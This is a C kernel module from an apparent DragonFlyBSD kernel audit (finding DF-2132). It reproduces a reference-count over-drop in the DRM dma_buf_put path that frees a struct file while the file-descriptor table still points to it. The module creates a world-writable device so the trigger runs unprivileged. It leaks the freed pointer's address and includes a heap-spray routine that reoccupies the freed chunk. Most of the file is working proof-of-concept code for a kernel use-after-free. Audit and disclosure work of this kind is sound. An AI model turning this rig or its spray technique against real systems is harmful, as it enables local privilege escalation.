⬢ DragonFlyBSD Kernel Audit
DF-2132 / df2132_rig.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
/*
 * df2132_rig.c — KLD verification rig for DF-2132.
 *
 * The QEMU audit guest has no GPU (QEMU stdvga 0x1234 is claimed by no DRM
 * driver) so /dev/dri does not exist and DRM_IOCTL_PRIME_FD_TO_HANDLE cannot
 * be reached from plain userspace here.  This rig therefore drives the REAL
 * PRODUCTION CODE of the shipped /boot/kernel/drm.ko binary:
 *
 *   - dma_buf_export(), dma_buf_fd(), dma_buf_get(), dmabuf_fileops are
 *     extern symbols RESOLVED AT RUNTIME against the production drm.ko
 *     (sys/dev/drm/linux_dma-buf.c — unmodified shipped binary).
 *
 *   - dma_buf_put() is the production static inline copied VERBATIM from
 *     sys/dev/drm/include/linux/dma-buf.h:110-120 (the exact object code
 *     drm_prime.c is compiled with).  The struct dma_buf / dma_buf_ops /
 *     dma_buf_export_info definitions are copied verbatim from the same
 *     production header (dma-buf.h:40-78) so the rig ABI-matches drm.ko.
 *     build.sh records the md5 of the production header.
 *
 * DF2132IOC_PUT reproduces, statement for statement, the lookup-hit path of
 * drm_gem_prime_fd_to_handle() (sys/dev/drm/drm_prime.c:795-866):
 *
 *	dma_buf = dma_buf_get(prime_fd);	   // drm_prime.c:802
 *	if (IS_ERR(dma_buf))
 *		return PTR_ERR(dma_buf);
 *	... drm_prime_lookup_bufhandle() hits (ret == 0) ...
 *	goto out_put;
 * out_put:
 *	dma_buf_put(dma_buf);			   // drm_prime.c:864
 *
 * which is exactly what an unprivileged DRM_IOCTL_PRIME_FD_TO_HANDLE on an
 * already-imported buffer executes.  Everything (export, fd install, get,
 * put, the free itself) runs in the CALLING PROCESS context: /dev/df2132 is
 * created mode 0666 so the trigger is unprivileged, mirroring a render node.
 *
 * The rig adds NO drm behavior of its own; it only supplies the dma_buf_ops
 * stand-in a real GEM driver would supply (ops->release), and reports
 * observable state (f_count, release counter, fd-table slot contents) so the
 * reference-accounting violation is measured, not guessed.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/types.h>
#include <sys/errno.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <sys/mutex.h>
#include <sys/malloc.h>
#include <sys/spinlock2.h>
#include <machine/atomic.h>

#include "df2132.h"

/* ------------------------------------------------------------------ */
/* VERBATIM production type definitions:				*/
/*   sys/dev/drm/include/linux/dma-buf.h:40-78				*/
/* (needed to ABI-match drm.ko without pulling the whole linuxkpi	*/
/* header chain into this rig)						*/

struct sg_table;
struct dma_buf;
struct dma_buf_attachment;

/* VERBATIM production enum: sys/dev/drm/include/linux/dma-direction.h:30-34 */
enum dma_data_direction {
	DMA_BIDIRECTIONAL = 0,
	DMA_TO_DEVICE = 1,
	DMA_NONE = 3,
};

/* Opaque types only referenced through pointers in the production structs */
struct reservation_object;
struct device;
struct vm_area_struct;

struct dma_buf_ops {
	struct sg_table * (*map_dma_buf)(struct dma_buf_attachment *,
						enum dma_data_direction);
	void (*unmap_dma_buf)(struct dma_buf_attachment *,
						struct sg_table *,
						enum dma_data_direction);
	void (*release)(struct dma_buf *);
	void *(*map)(struct dma_buf *, unsigned long);
	void *(*map_atomic)(struct dma_buf *, unsigned long);
	void (*unmap)(struct dma_buf *, unsigned long, void *);
	void (*unmap_atomic)(struct dma_buf *, unsigned long, void *);
	int (*mmap)(struct dma_buf *, struct vm_area_struct *vma);
	void *(*vmap)(struct dma_buf *);
	void (*vunmap)(struct dma_buf *, void *vaddr);
	int (*begin_cpu_access)(struct dma_buf *, enum dma_data_direction);
	int (*end_cpu_access)(struct dma_buf *, enum dma_data_direction);
	int (*attach)(struct dma_buf *, struct dma_buf_attachment *);
	void (*detach)(struct dma_buf *, struct dma_buf_attachment *);
};

struct dma_buf {
	struct reservation_object *resv;
	void *priv;
	const struct dma_buf_ops *ops;
	size_t size;
	struct file *file;
};

struct dma_buf_attachment {
	struct dma_buf *dmabuf;
	struct device *dev;
	void *priv;
};

struct dma_buf_export_info {
	const struct dma_buf_ops *ops;
	size_t size;
	int flags;
	void *priv;
	struct reservation_object *resv;
};
/* ------------------- end verbatim type definitions ----------------- */

/* ------------------------------------------------------------------ */
/* VERBATIM production inline: sys/dev/drm/include/linux/err.h:33,44-53	*/
#define MAX_ERRNO	4095
#define IS_ERR_VALUE(x) ((x) >= (unsigned long)-MAX_ERRNO)

static inline long PTR_ERR(const void *ptr)
{
	return (long)ptr;
}

static inline long IS_ERR(const void *ptr)
{
	return IS_ERR_VALUE((unsigned long)ptr);
}
/* ------------------- end verbatim err.h inline --------------------- */

/* ------------------------------------------------------------------ */
/* PRODUCTION symbols, resolved at runtime against the shipped drm.ko	*/
/* (sys/dev/drm/linux_dma-buf.c:38,118,140,169)			*/
extern struct fileops dmabuf_fileops;
extern struct dma_buf *dma_buf_export(const struct dma_buf_export_info *);
extern int dma_buf_fd(struct dma_buf *, int);
extern struct dma_buf *dma_buf_get(int);
/* ------------------------------------------------------------------ */

/* ------------------------------------------------------------------ */
/* VERBATIM production inline:						*/
/*   sys/dev/drm/include/linux/dma-buf.h:109-120			*/
static inline void
get_dma_buf(struct dma_buf *dmabuf)
{
	fhold(dmabuf->file);
}

static inline void
dma_buf_put(struct dma_buf *dmabuf)
{
	//kprintf("dma_buf_put: dmabuf=%p, dmabuf->file=%p\n", dmabuf, dmabuf ? dmabuf->file : NULL);
	if (dmabuf == NULL)
		return;

	if (dmabuf->file == NULL)
		return;
	fdrop(dmabuf->file);
}
/* ------------------- end verbatim dma-buf.h inline ----------------- */

static int	rig_release_count;
static uint64_t	rig_saved_fp;

static void
rig_dmabuf_release(struct dma_buf *dmabuf)
{
	atomic_add_int(&rig_release_count, 1);
	kprintf("df2132: [fo_close] ops->release() ran: release_count=%d "
	    "(struct file freed by dma_buf_put/fdrop while fd-table slot "
	    "may still reference it)\n", rig_release_count);
}

static struct dma_buf_ops rig_dmabuf_ops = {
	.release = rig_dmabuf_release,
};

static d_open_t	df2132_open;
static d_ioctl_t df2132_ioctl;

static struct dev_ops df2132_ops = {
	{ "df2132", 0, 0 },
	.d_open = df2132_open,
	.d_ioctl = df2132_ioctl,
};

static int
df2132_open(struct dev_open_args *ap)
{
	return (0);
}

static int
df2132_export(struct df2132_req *req)
{
	struct dma_buf_export_info info = {
		.ops = &rig_dmabuf_ops,
		.size = 4096,
	};
	struct dma_buf *dmabuf;
	int fd;

	/* PRODUCTION: falloc() -> fp f_count=1 (ref never dropped by
	 * dma_buf_export/dma_buf_fd -- production leak, see VERDICT.md) */
	dmabuf = dma_buf_export(&info);
	if (dmabuf == NULL || IS_ERR(dmabuf))
		return ((int)PTR_ERR(dmabuf));

	/* PRODUCTION: fdalloc + fsetfd(fhold) -> f_count=2, fd installed in
	 * the CALLING (unprivileged) process fd table */
	fd = dma_buf_fd(dmabuf, 0);
	if (fd < 0)
		return (fd);

	rig_saved_fp = (uint64_t)(uintptr_t)dmabuf->file;
	req->fd = fd;
	req->saved_fp = rig_saved_fp;
	req->fp_addr = rig_saved_fp;
	kprintf("df2132: [export] cpu%d dma_buf fd=%d fp=0x%llx f_count=%d "
	    "(falloc-ref + fd-table-ref)\n",
	    (curthread->td_gd->gd_cpuid), fd, (unsigned long long)rig_saved_fp,
	    dmabuf->file->f_count);
	return (0);
}

/*
 * Reproduce the drm_gem_prime_fd_to_handle() lookup-hit path
 * (drm_prime.c:802 -> 814 goto out_put -> 864 dma_buf_put).
 */
static int
df2132_put(struct df2132_req *req)
{
	struct dma_buf *dma_buf;

	/* drm_prime.c:802 -- PRODUCTION dma_buf_get: returns a pointer
	 * owning ZERO f_count references (holdfp borrow + dropfp) */
	dma_buf = dma_buf_get(req->fd);
	if (IS_ERR(dma_buf))
		return ((int)PTR_ERR(dma_buf));

	req->fcount_before = dma_buf->file->f_count;

	/* drm_prime.c:864 (out_put) -- VERBATIM production inline:
	 * fdrop(dmabuf->file) with NO matching acquisition */
	dma_buf_put(dma_buf);

	/* If fcount_before was 1, the fdrop above hit the 1->0 transition
	 * INSIDE dma_buf_put: fo_close (dmabuf_close -> ops->release +
	 * kfree(dmabuf)) and ffree(fp) already ran; dmabuf and fp are freed
	 * memory now.  Do not touch them; the free is proven by the
	 * release counter (INFO) and the fd-table slot (INFO). */
	if (req->fcount_before > 1) {
		req->fcount_after = dma_buf->file->f_count;
		kprintf("df2132: [import] cpu%d fd=%d f_count %d->%d "
		    "(over-drop: put consumed a ref nobody acquired)\n",
		    (curthread->td_gd->gd_cpuid), req->fd, req->fcount_before, req->fcount_after);
	} else {
		req->fcount_after = 0;
		kprintf("df2132: [import] cpu%d fd=%d f_count 1->0: *** STRUCT "
		    "FILE FREED INSIDE dma_buf_put WHILE FD-TABLE SLOT STILL "
		    "REFERENCES IT ***\n", (curthread->td_gd->gd_cpuid), req->fd);
	}
	return (0);
}

/*
 * Observable state: release counter + fd-table slot contents (read WITHOUT
 * dereferencing the fp the slot points to).
 */
static int
df2132_info(struct df2132_req *req)
{
	struct filedesc *fdp = curproc->p_fd;

	req->saved_fp = rig_saved_fp;
	req->release_count = rig_release_count;
	req->slot_valid = 0;
	req->slot_is_saved = 0;

	spin_lock_shared(&fdp->fd_spin);
	if ((u_int)req->fd < (u_int)fdp->fd_nfiles &&
	    fdp->fd_files[req->fd].fp != NULL) {
		req->slot_valid = 1;
		if ((uint64_t)(uintptr_t)fdp->fd_files[req->fd].fp ==
		    rig_saved_fp)
			req->slot_is_saved = 1;
	}
	spin_unlock_shared(&fdp->fd_spin);
	kprintf("df2132: [info] fd=%d release_count=%d slot_valid=%d "
	    "slot_is_saved=%d freed-fp=0x%llx\n",
	    req->fd, req->release_count, req->slot_valid,
	    req->slot_is_saved, (unsigned long long)rig_saved_fp);
	return (0);
}

/*
 * Resolve a LIVE fd to its struct file address + resting f_count (for
 * reclaim-aliasing comparison and resting-count oracle).  Never call on
 * a dangling fd.
 */
static int
df2132_lookup(struct df2132_req *req)
{
	struct file *fp;

	fp = holdfp(curthread, req->fd, -1);
	if (fp == NULL) {
		req->found = 0;
		return (0);
	}
	req->found = 1;
	req->fp_addr = (uint64_t)(uintptr_t)fp;
	/* count observed while the probe holds/borrows one reference */
	req->fcount_before = fp->f_count;
	/* MUST return a holdfp() result via dropfp() (borrow-or-owned
	 * contract) -- a plain fdrop() here would itself over-drop on a
	 * cache-hit borrow (the exact bug class under audit).  Safe on a
	 * live fd: the fd-table's own reference keeps the object alive. */
	dropfp(curthread, req->fd, fp);
	req->fcount_after = fp->f_count;
	return (0);
}

/*
 * Reclaim helper: allocate n bare struct files (falloc + fsetfd, the
 * standard open(2) allocation pattern MINUS the vnode/namei, so the
 * spray is fast) in the CALLING thread.  DF's kmalloc_obj allocator is
 * a per-slab FIFO ring, so a freed chunk resurfaces only after the
 * allocator drains the slabs ahead of it -- spray hard and check each
 * allocation's address against the freed (saved) one.
 */
static int
df2132_spray(struct df2132_req *req)
{
	struct file *fp;
	int i, error, nfd;

	for (i = 0; i < req->sprayed && i < 256; i++) {
		fp = NULL;
		nfd = -1;
		error = falloc(curthread->td_lwp, &fp, &nfd);
		if (error || fp == NULL)
			break;
		fsetfd(curproc->p_fd, fp, nfd);
		fdrop(fp);		/* release falloc ref (std pattern) */
		req->fd = nfd;
		req->fp_addr = (uint64_t)(uintptr_t)fp;
		if ((uint64_t)(uintptr_t)fp == rig_saved_fp) {
			kprintf("df2132: [spray] RECLAIM: dummy file fd=%d "
			    "fp=0x%llx == freed fp (chunk reoccupied)\n",
			    nfd, (unsigned long long)req->fp_addr);
			req->found = 1;
			return (0);
		}
	}
	req->found = 0;
	return (0);
}

static int
df2132_ioctl(struct dev_ioctl_args *ap)
{
	struct df2132_req *req;

	if (ap->a_cmd == DF2132IOC_EXPORT ||
	    ap->a_cmd == DF2132IOC_PUT ||
	    ap->a_cmd == DF2132IOC_INFO ||
	    ap->a_cmd == DF2132IOC_LOOKUP ||
	    ap->a_cmd == DF2132IOC_SPRAY) {
		/* DragonFly mapped_ioctl() pre-copies the (56-byte) payload
		 * into a kernel buffer and hands us a KERNEL pointer */
		req = (struct df2132_req *)ap->a_data;
	} else if (ap->a_cmd == DF2132IOC_NOTE) {
		struct df2132_note *n = (struct df2132_note *)ap->a_data;
		kprintf("df2132: [user] %s\n", n->msg);
		return (0);
	} else {
		return (ENOTTY);
	}

	switch (ap->a_cmd) {
	case DF2132IOC_EXPORT:
		return (df2132_export(req));
	case DF2132IOC_PUT:
		return (df2132_put(req));
	case DF2132IOC_INFO:
		return (df2132_info(req));
	case DF2132IOC_LOOKUP:
		return (df2132_lookup(req));
	case DF2132IOC_SPRAY:
		return (df2132_spray(req));
	}
	return (ENOTTY);
}

static int
df2132_modevent(module_t mod, int type, void *data)
{
	static cdev_t df2132_dev;

	switch (type) {
	case MOD_LOAD:
		df2132_dev = make_dev(&df2132_ops, 0,
		    UID_ROOT, GID_WHEEL, 0666, "df2132");
		kprintf("df2132: rig loaded (production drm.ko symbols: "
		    "dma_buf_export=%p dma_buf_fd=%p dma_buf_get=%p "
		    "dmabuf_fileops=%p)\n",
		    dma_buf_export, dma_buf_fd, dma_buf_get, &dmabuf_fileops);
		return (0);
	case MOD_UNLOAD:
		destroy_dev(df2132_dev);
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(df2132, df2132_modevent, NULL);
MODULE_DEPEND(df2132, drm, 1, 1, 1);